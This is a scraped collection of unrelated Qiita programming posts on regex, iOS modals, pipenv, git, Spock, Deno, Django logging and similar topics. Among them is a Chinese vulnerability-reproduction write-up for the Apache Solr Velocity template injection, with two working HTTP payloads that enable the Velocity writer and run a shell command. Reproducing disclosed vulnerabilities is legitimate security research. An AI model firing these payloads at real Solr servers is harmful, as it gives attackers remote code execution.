OmniAICreator/Qiita-1.07M huggingface dataset:
正規表現についてのまとめ

###はじめに
[未来電子テクノロジー](https://www.miraidenshi-tech.jp/intern-content/program/)でインターンをしているやっきーです。

プログラミング初心者であるため、内容に誤りがあるかもしれません。
もし、誤りがあれば修正するのでどんどん指摘してください。

#正規表現とは
文字の表記を抽象化する記法です。例えば、整数1文字(0,1,2,3,4,5,6,7,8,9)をまとめて[0-9]とかけます。このように書くことで、様々な文字の組み合わせをシンプルに表すことができます。

#正規表現の例
##1 任意の一文字
半角の**.(ピリオド)**を使うことで、任意の一文字を表すことができます。
###例
これは\.\.です。
→これは *ペン* です。　これは *いす* です。　これは *鶏肉* です。

##2 直前の文字の繰り返し
半角の**+**を使うことで同じ文字を0回以上繰り返します（繰り返さなくても良い）。また、半角の\*を使うことで同じ文字を1回以上繰り返します。
###例
go+gle
→gogle google gooogle
go\*gle
→google goooogle

##3 複数の中からの1文字
[　]　を用いると、この括弧の中から任意の1文字を表すことができます。また、[　]の先頭に^を付けると、かっこの中の文字**以外**の文字を検索することができます。
###例
[ABCD]問題
→A問題　B問題　C問題　D問題
第[^123]問
→第4問　第5問　第6問　第７問

##４　存在するかわからない文字
?を用いると、直前の文字がある場合もない場合も検索することができます。
###例
コンピュー?ター?
→コンピューター　コンピュータ　コンピュター　コンピュタ

##5　数字
\dを用いると、任意の数字1文字を検索することができます。また、\Dを使うと、任意の数字以外の1文字を検索することができます。
###例
\d回目
→1回目　３回目　６回目
Group \D
→Group A, Group f, Group n

##6　文字
\wを用いることで、任意のアルファベット、数字、アンダーバー（ _ ）のいずれか1文字を検索することができます。また、\Wを使うと、それら以外の文字を検索することができます。
###例
\w\w\w\w\w
→2times

##7 その他の文字
\sで、半角スペース、タブ、改行のいずれか1文字
\nで改行
\tでタブ(インデント)
を検索することができます。

##正規表現に使用した文字自体を検索したいとき
　\\　や　\.　\+　\*　などを検索したいときは、それらの文字の前に \\( バックスラッシュ )を入れることで検索することができます。

#参考URL
[正規表現一覧](http://gimite.net/help/devas-ja/all_regex.html)
[サルにもわかる正規表現入門](https://www.mnet.ne.jp/~nakama/)
iOS13で追加されたモーダル画面が下スワイプ操作でdismissするのを無効にしたい

# 前提
モーダルとかdismissとかって何？　って方は下記をご覧ください。
[【iOS】画面遷移方法まとめ
](https://qiita.com/eg_19_/items/54baed2ac374ac969100)

# 事象
iOS13から、モーダル画面のデフォルトが変更になり、下スワイプ操作で閉じられるようになりました。

# 何が困る？
困るケースとして考えられるのは、たとえば下記です。

- 戻ることを想定していない画面
- 戻り先をアプリ内で指定しているような画面
- 入力を完了させるまで戻らせない設計にしていた画面
    - 書いてみたものの、どんなケースだ？
    - 半強制で答えさせたいアンケート情報とか？
    - 「重要事項を確認しましたか？」→「はい」「いいえ」を絶対に押させる、とか？

UI/UX的に考えると、絶対に戻れない画面ってそもそもよくないですが、
要件によってはそうしたいケースも出てくるかとは思います。

# 回避方法は2つ
回避方法は2つあります。

1. modalPresentationStyleに.fullScreenを指定する
2. .isModalInPresentationをtrueにして下スワイプ閉じを封じる


## 1. modalPresentationStyleに.fullScreenを指定する
遷移先のViewControllerの持っている[modalPresentationStyle](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621355-modalpresentationstyle)というプロパティに、[.fullScreen](https://developer.apple.com/documentation/uikit/uimodalpresentationstyle/fullscreen)を指定することで、回避できます。

```swift
viewController.modalPresentationStyle = .fullScreen
```

Storyboard使っているなら、ここを変えてください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/333454/f533f7a1-cffb-4dd9-46e4-86d355903a21.png)

（画像は[こちら](https://qiita.com/akatsuki174/items/fd74cb1e08b70da5e4fd)から引用）

ちなみにデフォルトが.automatic。
この指定だと、モーダル画面がiOS13以降でも、iOS12前みたいなUIにすることができます。
ただ下スワイプを封じる目的のために、インターフェイス変えちゃうのはどうなの？　というのがあります。
また、2重にモーダル起動しているケース(たとえば会員情報入力画面から重要情報説明画面をモーダルで出すとか)だと、
最初にモーダル遷移した画面がiOS13仕様なので、その上でfullScreen指定しても、**下スワイプで閉じる操作は封じられません。**
その場合、選択肢2を選びましょう。

# 2. .isModalInPresentationをtrueにして下スワイプ閉じを封じる
[isModalInPresentation](https://developer.apple.com/documentation/uikit/uiviewcontroller/3229894-ismodalinpresentation)をtrueにすると、封じられます。

```swift
if #available(iOS 13.0, *) {
    viewController.isModalInPresentation = true
}
```

操作感としては、下スワイプでモーダル画面が下がりはするけども、
「ガッ」「ガッ」と引っかかって、閉じることはできない、みたいになります。
iOS13以降の操作にユーザーが慣れて、下スワイプでモーダル画面閉じられるのが当たり前という感覚になったら、
ストレスを感じる挙動になると思うので、全モーダルにこれを指定するよりかは、
閉じられたら問題が出る画面だけ使うのが賢明な気がしますね🐧🐧🐧

# 参考
[iOS13でのモーダル表示](https://qiita.com/nullpo33/items/a46a180a0aaf63aadcea)
[iOS 13 以降でモーダルを fullScreen 表示させる3つの方法](https://qiita.com/akatsuki174/items/fd74cb1e08b70da5e4fd)
PlayCanvas用にBlenderからFBXをexportする際の設定

#初めに
blenderで作成した3DモデルをPlayCanvasにインポートする際に、blenderのfbxデフォルト設定だとエラーが起こります。
いくつかのfbx詳細設定をいじる必要や手順があるので、その部分を見ていきます。

#手順
1.fbxにしたいオブジェクトを選択します。必要の無いオブジェクトは選択しない。

2.ファイル/エクスポート/fbxで開いてfbxの詳細へ
##オブジェクトとマテリアルを関連付ける
![blender_fbx_object.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/341892/668deae2-6705-c151-2e9d-74cbfe9bf7a3.png)
メイン、ジオメトリ、アーマチェア、アニメーションの項目の中で**"メイン"**の設定
選択したオブジェクトに☑
パスモードを**"自動2**から**"コピー"**にし、右端の箱マークをクリック。
これで、マテリアルがオブジェクトとリンクした状態になります。
##アニメーションの設定
![blender_fbx_anim.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/341892/3837663b-71dd-127d-3e28-c702a3aa35ab.png)
全てのボックスの☑が入っていますが、このままだとPlayCanvasにインポートした際に、アニメーションが1フレーム目でリピートしてしまいます。
**"NLAストリップ"**と**"全アクション"**の☑を外します。
NLAとはNLA＝Non Linear Animation（ノンリニアアニメーション）
詳しくは[コチラ](https://blender-cg.net/nla-editor/#i-2)

これでエクスポートすればOK:ok_hand:
WSLにpipenvを導入するまで

# Abstract
先日、pipenvを導入しようとしたらいろいろ怒られて大変だったので導入するまでのメモです。
これからいっぱい使う予定です。

## 最初にやったこととエラー
```bash
$ sudo apt install python-pip
$ pip install --user pipenv
$ pipenv install
```
なんて出てきたか覚えてないですがここでpipenvが動かなくなった。

```bash
$ pip -V
ImportError: cannot import name ‘main’
```
なに言ってんだ？？？と思い調べるとpip3がupgradeされるとダメらしいです。

なので全部アンインストールして１から今度はpip3をインストールしました。

```bash 
$ sudo apt install python3-pip
$ pip3 isntall --user pipenv
$ pipenv install
エラー

$ pip3 -V
ImportError: cannot import name ‘main’
```

？？？

意味わからなくなっていたら救世主
どこのブログか覚えてませんが**pyenv**をいれてからだと大丈夫らしい

## pyenv導入

```bash
$ sudo apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev
$ git clone https://github.com/yyuu/pyenv.git ~/.pyenv
$ echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
$ echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
$ echo 'eval "$(pyenv init -)"' >> ~/.bashrc
$ source ~/.bashrc
$ pybenv install --list
```
参考文献に書きますがそれ見ながらやった。丸コピ
ついでに入ってるかどうかと一緒にインストールできるリストを出した。

今回はpython 3.7.2をインストール。2系はいらんよね

```bash
$ pyenv install 3.7.2
$ pyenv global 3.7.2
$ python -V
Python 3.7.2
```

OK!!いけました

## pip導入
なんか調べてたらaptでいれたのとpip upgradeでどうたらこうたらしてるみたいなのも見つけました。
ということでaptでいれるのやめようと思った。

```bash
$ curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
$ python get-pip.py --user
$ which pip
/home/username/.pyenv/shims/pip
```
なんかできてそう...
`.pyenv/shims/pip`なのはよくわからんけど大丈夫そうだな。。。sudo権限使わないように`--user`つけたからかな？
まあ動くならオッケー

躓くかもしれないので一応書いておく
`It seems that python3-distutils is not installed.`が出たら

```bash
$ sudo apt install python3-disutils
$ python get-pip.py --user
$ pip install --upgrade pip
```
でいけるみたいです。
別のPCでやったときに`cannot import`が出てきたときはアンインストールして`--user`を書かなかったらできました．
whichなどを使って適宜パスの変更をしましょう．

また、パスととおってないひとは

```bash
/home/username/.local/bin/pip
/home/username/.pyenv/shims/pip
```
にあると思うのでパスを通しましょう。

```bash
$ echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
$ echo 'export PATH="$HOME/.pyenv/shims:$PATH"' >> ~/.bashrc
```
適してるほうを書いてください。

## pipenv導入
```bash
$ pip install --user pipenv
Collecting pipenv
~
~
  WARNING: The scripts pipenv and pipenv-resolver are installed in '/home/username/.local/bin' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed pipenv-2018.11.26
$ which pipenv
$
$ echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc
```

これでいけるはず

僕はよくわからない記事に騙されてあたふたしてsudoでやろうとしてたけどそもそもlocalにいれようとしてたのでこれでオッケーです。

pipenvをインストールしたときにパスが通ってないとWARNINGが出ると思うのでその通りにやるとよし

## 参考サイト
書こうと思ってたけどタブ消してたし無限に戻るのが面倒くさいです．
ただ参考にさせていただいた記事には本当に感謝しております．

# まとめ
初めての投稿の上文章がぐちゃぐちゃですがこんな感じです。（あとでまとめて直そうかな）
研究とかでDeep Learningとかやりそうなのでpipenvを使ってみようと思ったら最初にやったことあたりのことで丸1日くらい使ってはまってしまったので読んでくれて解決できる方がいたらうれしいです．

~~ちなみに今はサーバーで`rake db:create`でデータベースが作られないのでpostgresユーザで無理やり作ったけどなんかcreateされてないよって言われるエラーに悩んでます．~~
なんか解決しました！
Unity　gitでハマったメモ

・クローンで毎回hung upする
クローンの深さを１にして最新の履歴のみ取得
depth1
git fetch --unshallow
過去の履歴全取得！


・コミットできないアセットがあった（メンテナー）
git status --ignored
で確認、無視されてるか確認
git add -f filename
で強制追加！

・大容量すぎてpushできない

git config --global http.postBuffer 52428000

・マージしようとしたら他のブランチが出ない
git configをメモ帳で開き
[remote "origin"]
に
fetch = +refs/heads/\*:refs/remotes/origin/\*
を記述しまたフェッチ
*はワイルドカード、全検索

・いらねぇファイルまでマージされとるやん
	
git revert -m 1 コミット番号
でも結局おかしくなったから取り直した

・久々のフェッチができぬ
error: RPC failed; HTTP 504 curl 22 The requested URL returned error: 504

export git_curl_verbose=1
やったけどだめ
再クローン
Spockの書き方メモ


Spockの書き方を毎回調べるのめんどくさかったのでまとめる
とりあえず、殴り書きのようにメモっておきます
レベル低くてすまん・・・

## ブロックの説明
| ブロック | 説明 | 例 |
| --- | --- | --- |
| setup | 前処理 |  |
| when | thenとセットで使用：テストしたいことを書く |  |
| then| whenとセットで使用：テスト結果の比較を書く |  |
| expected| 実行とチェックを1つにまとめて書く |  |
| cleanup| 後処理 |  |
| where| パラメータを渡して結果をチェックする |  |

## プライベートメソッドのテスト
なんだかんだリフレクションを使う

```
        setup:
        Method method = testService.class.getDeclaredMethod("getTestMethod", 
                                          hiki1.class, hiki2.class, hiki3.class)
        method.setAccessible(true)

        when:
        def ls = (List<testDto>) method.invoke(testService, hiki1, hiki2, hiki3)
```


## モックの書き方

serviceにDIされているtestServiceのメソッドをモック化する

```
def testService = Mock(TestService)
testService.getMethodMock(_, _) >> retObj
service.testService = testService
```

引数は _ で何かの値を示す。
基本的には引数3つなら (_, _, _)で良いのかなと
ここで、値を決めて書くとパラメータごとの振る舞いが設定できる
(1, _) と記述すれば、第一引数に1が渡ってきた場合の振る舞いを指定できる。

元の実装が動く状態で、一部モック化する

```
def testService = Spy(TestService)
testService.getMethodMock(_, _) >> retObj
service.testService = testService
```

Spyを使用すると、TestService自体メソッドは動作する
指定したメソッドは、モック化して値を返す

## where句の書き方

```
where:
 isStatus | cmd    || expect
 true     | INSERT || true
 true     | DELETE || false
 false    | _      || false
```

## パラメータを設定済みでNewする

```
def m = new TestObj(p1: "p1", p2: "p2")
```
こうすると、NewしたオブジェクトTestObjのp1,p2に値がセットされる
_
[漏洞复现]Apache Solr Velocity模板远程代码执行

### 漏洞描述
近日,国外安全研究员`s00py`公开了一个`Apache Solr`的`Velocity`模板注入的漏洞.该漏洞可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
### CVE编号
暂无
### 漏洞威胁等级
高危
### 影响范围
包括但不限于8.2.0(最新版本)
### 漏洞复现
#### 环境准备
下载最新的Solr
直链:https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解压以后,进入`solr-8.1.0/bin`目录
使用`./solr -e dih -force`开启示例app

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/1f17d301-7ba2-694e-9d75-ae0d0d3a2109.png)

随后访问`http://127.0.0.1:8983/solr/#/`进入主界面

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/8a4e4bb0-dc0f-2a23-3847-65c7f47e0b67.png)


点击左侧的`Core Selector`查看集合名称

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/0924f99c-e316-3072-5dca-7d0548e69e10.png)

使用如下两个payload(以集合db为例)

- 1.修改集合设置

```
POST /solr/db/config HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/53310006-5359-6dc2-ee6e-6ee0bd345a2b.png)

- 2.命令执行

```
GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 0
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/879b3b02-ecb0-91cd-3f80-52d6340dc2b2.png)

### Reference
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://lucene.apache.org/solr/
Deno Style Guideを読み解く

## Deno - JavaScriptランタイムのネクストスタンダードか

Deno、いいですよねー。セキュアだし、TypeScript推しだし、標準モジュール志向だし。

## v1.0のリリースについて

未だv0.2ということで本番環境での利用は推奨されていません。
作者のライアン曰く2019年中にv1.0リリースすると公言しているそうですが、コミュニティの中では恐らく来年中頃くらいまではかかるのでは？という予想です。
まぁ正式リリース前のこのタイミングで各種情報をキャッチアップしておけばJS界隈で遅れを取ることはなさそうですね。

## Deno Style Guideとは

その名の通りDenoをコーディングする際の現時点でのベストプラクティスです。
リンクは[コチラ](https://deno.land/std/style_guide.md)。

<img width="927" alt="denoStyleGuide.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/74725/e5a38baa-7c9d-64d2-2430-726035313efd.png">


## それでは早速1つ1つ読み解いていきましょう

### Use TypeScript

はい、いきなり言い切ってますねｗ
TypeScriptありきのDenoってことを肝に命じておきましょう💦

### Use the term "module" instead of "library" or "package"

確かにライブラリとかパッケージとか言葉の定義が曖昧になるときがありますよね。
とくにフロントやバックエンドを横断して様々な言語で開発しているとき。
ということでDenoでは「モジュール」と徹底しましょう。

### Do not use the filename index.ts nor index.js

index...というファイル名を使うなということですね。
Webサイトだとデフォルトのエントリポイントのindex.htmlに付随したindex.tsとうファイル名にするのが一般的ですが、Denoの場合はmodule名.tsとすることで紛らわしさや動作の先入観をなくすという目的があるようです。

### Within deno_std, do not depend on external code

標準モジュールはDenoのベースとなるため実装するプログラム内のなにものにも依存させてはならぬということですかね。

### Within deno_std, minimize dependencies; do not make circular imports.

こちらは循環インポートはするなということですが、標準モジュールを汚さないでねってことですかね。

### For consistency, use underscores, not dashes in filenames.

同感です。ハイフン使うのはhtmlのattributeくらいですかね。ファイル名はアンダースコアで統一しましょう。

### Format code using prettier.

具体的には、

- コードは80文字でラップ
- 2スペースのインデントを使用
- キャメルケースを使用
  - 変数、関数、フィールド名はlowerCamelCase
  - class, interface名はUpperCamelCase

まぁこのあたりは他の言語と変わりないですかね。

### Exported functions: max 2 args, put the rest into an options object.

引数はobjectやinterfaceに切り出しておくことでメンテナブルにしましょうってことですね。

### TODO comments should include an issue or the author's github username in parentheses.

こちらはわたくしも日々Denoに限らず実践していますが、TODOコメントにはそれに関連するissue番号なり、Redmine等のチケット駆動であればチケット番号を記載しておくと
着手まで日が空いてしまったり別の開発者が対応することになった場合に便利ですね。

### Copyright headers

コピーライトは漏れなく記載しましょうねってことですね。Denoは `MIT` `BSD` `Apache licensed` のに許容しているそうです。

### Top level functions should not use arrow syntax

アロー構文はクロージャーでプライベートメソッドを模倣する場合に関数スコープ内でのみ使いましょうってことですね。
個人的にも基本は `function...` で書いたほうがコードを読んだときに直感的に関数と視認できるのでそうしてます。

### Meta-programming is discouraged. Including the use of Proxy.

ですよね！メタプログラミング、わたくしは生理的に受け付けないですね💦

### If a filename starts with underscore, do not link to it: _foo.ts

内部モジュールのファイル名prefixにはアンダースコアを付けて明示化しましょうってやつですね。

### Use JSDoc to document exported machinery

こちらはリーダブルなコードとするための一般的なお約束ですね。

### Each module should come with tests

はい、テストは必ず行いましょう。その際にファイル名は `modulename_test.ts` とするという規則で。

### Unit Tests should be explicit

テスト関数には `...TestFunction` と明示しておきましょうってことですね。

## まとめ

はい、ということで読み終わりました。ふうー疲れたw
まぁ特別トリッキーなものはなく、他の言語でも言われている一般的な決まりが多かったように思います。

それでは予習はバッチリということで、これからDenoコーディングを楽しみたいと思います。
何か出来ましたらまた共有させていただきます。

以上です。
Chromebookで簡単に開発環境を構築するシェルスクリプトを書いた (日本語化 + VS Code)

安価かつ公式にLinuxがサポートされたデバイスとして優秀なChromebook。
Linuxコンテナの構築・削除が非常に簡単なので、初心者のLinux学習用にも便利だと思います。
しかしながら現時点での構築手順はやや面倒な点があり、最低限の環境を構築するにも若干の時間を要してしまいます。

ということで、どんな言語の開発者にとっても共通となるであろう最低限の環境を構築するスクリプト **[crostini-dev-setup-ja](https://github.com/progedu/crostini-dev-setup-ja)** を書きました。

## TL;DR

- 最低限の環境を整えるシェルスクリプトを書いた
    - 日本語入力環境（fcitx-mozc）
    - 日本語フォント
    - VS Code
    - VS Codeの日本語化アドオン
    - 初心者向けを意識しているため、ロケール等可能な範囲で全て日本語化している
- GUIでの操作不要で、インストールスクリプトを叩くだけで全て設定できる
    - セットアップ中はChromebookを触る必要なし
- 現時点ではX86_64アーキテクチャ専用

## 手順

### Linuxのセットアップ

スクリプトを実行する前にLinuxコンテナを設定します。
Chromebookの設定を開き、「Linux（ベータ版）」をオンにしてください。
![Screenshot 2019-10-29 at 20.02.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/1c159ff1-0753-b48f-6981-e35d4261c8bf.png)

---

インストールには300MBほどのデータをダウンロードするため、モバイル回線などをご使用の方はお気をつけください。
![Screenshot 2019-10-29 at 20.02.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/1c695b18-fd0f-9ab2-c3d5-14759931afcb.png)

---

インストールが完了すると以下のようなターミナルが表示されます。
Linuxのホスト名は初期設定が `penguin` になっています。かわいいですね。
![Screenshot 2019-10-29 at 20.07.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/611287df-e940-15cc-122c-9a1953e2ef22.png)

### スクリプトの実行

以下のコマンドをコピペして実行してください。
なお、Chromebook上の標準ターミナルで貼り付け操作をするには <kbd>Ctrl</kbd> + <kbd>V</kbd> ではなく、 <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>V</kbd> がショートカットキーとなっています。

```sh
curl -s https://raw.githubusercontent.com/progedu/crostini-dev-setup-ja/master/scripts/setup.sh | bash
```

---

セットアップスクリプトの実行中は以下のような表示になります。
（実行にはしばらく時間がかかります。）
![Screenshot 2019-10-29 at 20.08.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/d8d04806-9d3d-c0e7-59ee-fb34a5fa713c.png)

---

完了したらChromebookを再起動します。
再起動後、ランチャー（アプリ一覧）内の「Linuxアプリ」から、日本語化されたVS Codeが普通に使える状態になっているはずです。
![Screenshot 2019-10-30 at 23.44.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/61f76fca-145a-061f-0c19-5ac722496d73.png)

## 留意事項

これはスクリプトに起因するものではなくChromebookの仕様だと思われるのですが、セットアップ直後はVS Codeのアイコンがシンプルなペンギンになることがあります。これは一度VS Codeを起動すると通常のアイコンに戻るようです。
また、ペンギンの状態でも動作には支障はありません。
![penguin-icon.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/185296/662fd636-0e7c-4a32-5d3c-c1210afbc3d2.png)

## 検証環境

- HP Chromebook x360 14
- ChromeOS: 77.0.3865.105

## 参考にしたサイト

- [Running Visual Studio Code on Linux](https://code.visualstudio.com/docs/setup/linux)
- [The Visual Studio Code command-line options](https://code.visualstudio.com/docs/editor/command-line)
- [ChromeOSのLinux(Crostini)で日本語入力(自動起動対応)](https://www.axon.jp/entry/2018/10/18/201812)
【Django】logがでなかった時のメモ

[[Python] Django ログ出力のまとめ](https://qiita.com/okoppe8/items/3e8ab77c5801a7d21991)
基本的にはこちらの方法で良いはずです。

なぜか出ないときはカスタムしたloggerを使うことにします。
参考：[Djangoでロギング(logging)を行う方法](https://sinyblog.com/django/logging-001/)

```python
import logging,os

logfile = os.path.dirname(__file__)+"log.txt"
logging.basicConfig(filename=logfile,level=logging.DEBUG)
logging.info("hogehoge")
```

なかなかファイル作成されないなと思ったらlogfileの場所指定がへんてこだった話。
前の記事も似たようなパス探ししてたなあ……。
シーザーの犬ぞりゲーム.php

#オレはやるぜ
![images.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/417953/7c57122a-6678-feed-2697-d0fc7266dd63.jpeg)

いわゆる「ズンドコキヨシプログラム」です。
ズンドコのままでも別にいいんですが、そこまで熱狂的なきよしファンでもないし
好きな言葉で遊んだ方が面白いよなーと思って
ちょうど読んでた「動物のお医者さん」からシーザーに頑張ってもらいました。

「オレは」「やるぜ」をランダムに出力して「オレはやるぜオレはやるぜ」になったら
「オレはやったぜ！」と表示して終了します。

```php:yaruze.php
<?php
$i='';
while($i.=['オレは','やるぜ'][mt_rand(0,1)])
    if(strstr($i,'オレはやるぜオレはやるぜ'))
        die($i.'オレはやったぜ！');
```
die()を覚えたので使いたかった。

#最初作ってた簡単なやつ
直前に作ってたサイコロ転がしの改変。
「オレはやるぜ」になったら終わり。

```php:yaruze.php
<?php
$yaruze = ['オレは','やるぜ','イヤだ','ケンカ','するんだ'];
 shuffle($yaruze);
foreach ($yaruze as $value) {
    echo "オレは $value";
    if ($value === 'やるぜ') {
        echo "オレはやったぜ！";
        break;
    }
}
```
![1F7D655C-582A-4D38-B712-A166953FCC77.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/417953/7227caa7-80bc-a78d-bae4-940540fb2486.jpeg)


`preg_match`を使って一致したらオレはやったぜをechoして終わりにしたかったんだけど
条件一致しても表示されなかったり、延々オレはやったぜを返し続けるなどしたので諦めた。
今度人に聞いて書き直す。
Mac OSをCatalinaにアップデートしてからgcloudコマンドがnot foundになるのなんで？

# 原因
Catalinaからデフォルトのシェルが``bash``から``zsh``に変更されたのが原因です。

# とりあえず動かす
`.bash_profile`を編集

```　.bash_profile
# 追記
source /SDKが保存されてるディレクトリ/google-cloud-sdk/completion.zsh.inc 
source /SDKが保存されてるディレクト/google-cloud-sdk/path.zsh.inc
```

ターミナルで``source ~/.bash_profile``する。

動く。

今後のことを考えるとzsh用の設定ファイル`.zprofile`を作成したほうが良さげ

# 教訓
Catalinaにアップデートしてから

+ ブラウザのフォントがおかしい
+ 勝手にiPhoneのバックアップとる

と素晴らしい追加機能ばかりでAppleさんには大感謝です。
総じて言えることは、**OSのアップデートは慎重に!!**
chromeで不要なcssとJavaScriptを見つけ出し削除する

#不要なcssとjavascriptを洗い出す方法

cssをコーディングしていて余分な部分があるか分からなかったり探すのが手間がかかっていたので、
便利なツールはないか探していたら不要な部分を洗い出す方法を乗せたサイトです。

https://www.ecomottblog.com/?p=609

consoleの横にあるメニューからCoverageを選択し開けば使用開始できるものです


![無題.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/344367/6e99239c-614a-5b24-19d1-b58f426a5c8e.png)
vue-cli バージョン指定してインストールする

nodebrewとnpmを入れてください

[npm](https://www.npmjs.com/package/@vue/cli?activeTab=versions)のサイトに行きバージョン確認する

```
# @vue/cliの後に @[インストールしたいversion]を付け加える
npm install -g @vue/cli@3.7.0
```

```
$ vue --version
3.7.0
```

とできます。

プロジェクトごとに指定されている場合はこれでインストールするといいと思います。

ただ全部を試したわけではないのでうまく入らないのもあるかも？
[漏洞预警]Apache Solr Velocity模板远程代码执行

### 漏洞描述
近日,国外安全研究员`s00py`公开了一个`Apache Solr`的`Velocity`模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
### CVE编号
暂无
### 漏洞威胁等级
高危
### 影响范围
包括但不限于8.2.0(最新版本)
### 漏洞复现
使用payload进行验证

弹出计算器效果如下:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/6afc3098-f748-8084-af5a-b9efd274d731.png)

命令执行回显效果如下:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/ee4c9d1a-8943-f01e-c9a0-ff8a9fd30b4b.png)
### 修复建议
暂无,请等待官方更新
### Reference
https://lucene.apache.org/solr/
Laravel5 Eloquentリレーションで発行されるSQLの確認方法

とりあえずクエリビルダで使えるtoSql()してみるとよい。

hasOne、hasMany、belongsTo、belongsMany、hasManyThrouthなどを定義したメソッド名にtoSQLをつける。
特に外部キーカラム名の指定が複雑なhasManyThrouthは、これを見るだけでだいぶわかりやすい（個人の感想です）

```php:php
App\User::find(1)->relayTarget()->toSql();
```

例えば以下のようにUserモデルのリレーション設定を確認できる。

```php:Eloquent
class User extends Model
{
	protected $table = 'users';
	public $primaryKey = 'id';

	/**
	 * リレーション
	 */
	public function relayTarget()
	{
		return $this->belongsTo(RelayTargetModel::class, 'relayTarget_id');
	}
}
```

```bash:ターミナル
$ php artisan tinker
>>> App\User::find(1)->relayTarget()->toSql();
=> "select * from `relay_target` where `relay_target`.`relayTarget_id` = ?"
```
Gitで別のブランチからディレクトリやファイルをコピーする

例えば、`master`ブランチから`branch_a`というブランチに`directory_1`というディレクトリをコピーあるいは上書きしたいとする。

# 対象のディレクトリに移動
まず、
`git checkout branch_a`
をして`branch_a`に移動する。

# コピーあるいは上書きしたいディレクトリ/ファイルがあるディレクトリに移動する
そして`directory_1`があるディレクトリに移動する。
`directory_1`が`/home/user/`にある場合には、
`cd /home/user`
とすれば`directory_1`があるディレクトリに移動できる。

# git checkoutをする
最後に
`git checkout master -- directory_1`
をすると、`master`ブランチから`branch_a`に`directory_1`をコピー（すでに同じ名前のディレクトリが存在する場合は上書き）することができる。
Seleniumで通信内容を全部Captureする

# はじめに
Seleniumで検証する際に、対象URLのレスポンスだけでなくそこからajaxで取得しているjson（DOMにはロードされず、遷移のパラメータにのみ使用）の内容も検証する必要があったので、色々調べて試してみました。
まとめてくれているURLも結構ありますが、断片的だったり英語だったりするので、少しは役に立つかな？と思い記録することにしました。
なお、既存テストケースを流せる既存検証ツールの拡張なので

- java限定
- Chromeのみ可 or FireFoxのみ可はNG、少なくともどちらでも、できればそれ以外でも可

である必要がありました。

# 結論
